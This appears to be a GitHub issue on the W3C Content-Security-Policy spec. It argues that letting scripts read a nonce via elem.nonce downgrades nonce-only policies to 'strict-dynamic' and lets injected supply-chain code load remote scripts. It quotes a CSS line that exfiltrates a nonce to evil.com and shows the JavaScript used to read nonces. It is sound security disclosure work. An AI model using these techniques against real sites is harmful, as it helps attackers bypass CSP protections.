Accessing the `nonce` from JS, effectively makes all nonce based CSPs `strict-dynamic`

· GitHub ·

4 min read Original article ↗

Summary

It is recognized that a nonce based Content-Security-Policy (CSP) is stronger if it does not allow strict-dynamic, since scripts that are running cannot load other scripts arbitrarily.
However, the w3c specs, and browser implementations of Chrome and Firefox, allow any running script to extract the nonce from a DOM element, thus being able to load any remote script and bypass the CSP.
The "strong" policy without strict-dynamic, essentially becomes strict-dynamic anyway, since any running script can access the nonce from the DOM and use it to load any other script from any origin.

Explanation

Background

It is recognized that a L4 nonce based CSP such as:

script-src
  'nonce-q467FBTv9UZCO6yTdLY6kA'
  'unsafe-inline';
report-uri
  /cspreport;

Would be stronger than an L3 CSP using strict-dynamic:

script-src
  'nonce-q467FBTv9UZCO6yTdLY6kA'
  'strict-dynamic'
  'unsafe-inline';
report-uri
  /cspreport;

Example explanation of this by @mikispag @lweichselbaum in this talk:

Issue with specs

The w3c specs clearly recognize the risk of exposing the nonce, as can be seen in 7.2.2. Nonce exfiltration via content attributes, that blocks elem.getAttribute('nonce') (and access via css such as script[nonce=a] { background: url("https://evil.com/nonce?a");}).

However, the specs intentionally allow scripts to access the nonce, as example by elem.nonce

The nonce section talks about mitigating these types of attacks by hiding the nonce from the element’s content attribute and moving it into an internal slot. This is done to ensure that the nonce value is exposed to scripts but not any other non-script channels.

This essentially provides a way to bypass strict L4 policies and "downgrade" them into L3 (or below)

Past Reasoning

The reasoning was also discussed by @arturjanc back in 2016 :

After replying I realized that this would cause problems for a bunch of JS libraries which want to be compatible with CSP and propagate nonces to scripts they load dynamically
...
Overall there definitely is value in protecting nonces (e.g. with #98 or something similar), but only to the extent that is prevents the attacker from executing scripts in the first place. If we assume the attacker can already execute JS then the application is entirely compromised so any restrictions won't really help.

However, the community has since figured that it does not make sense for all libraries to be "csp compatible" as was imagined back in in 2016, and hence decided on the strict-dynamic standard, that leaves the decision up to the site developer. If the developer adds strict-dynamic - then scripts can automatically load other scripts automatically, and don't have to be "CSP compatible". However, if the developer explicitly sets an L4 nonce policy (without strict-dynamic) - then scripts should not be able to load other scripts.

Problem that this creates

Since the current spec that allows extracting the nonce easily from any existing script DOM node, it essentially downgrades an L4 CSP to L3 - and imposes a strict-dynamic even on stronger policies.

@mikewest suggest 4 years ago in this comment that an attacker will not have script access:

That is, document.querySelector('script[nonce]').getAttribute('nonce') would return an empty string, while document.querySelector('script[nonce]').nonce would return the nonce value. As long as the attacker doesn't have script access, they'll have a hard time making use of that value.

Today however, attackers may have script access - and the CSP needs to defend against that also. One such prevalent form of attacks on the web client-side is supply chain attacks know as Magecart, in which attackers manage to inject a snippet into a pre-approved script, and dynamically load a custom attack script from an attack-controlled origin. An allowlist based CSP would be able to block such loading of a script, but due to the easy ability to extract nonces from the DOM, an L4 policy would be bypassed in this case.

Context

I submitted this bug report to the chromium project, only to find that current approach of blocking the nonce from getAttribute, but having it accessible via elem.nonce is the specification.

Suggestion

Prevent exposing the nonce to script access - which degrades the actual effectiveness of nonces.
The developers can specify strict-dynamic if they would like to allow scripts to load other scripts.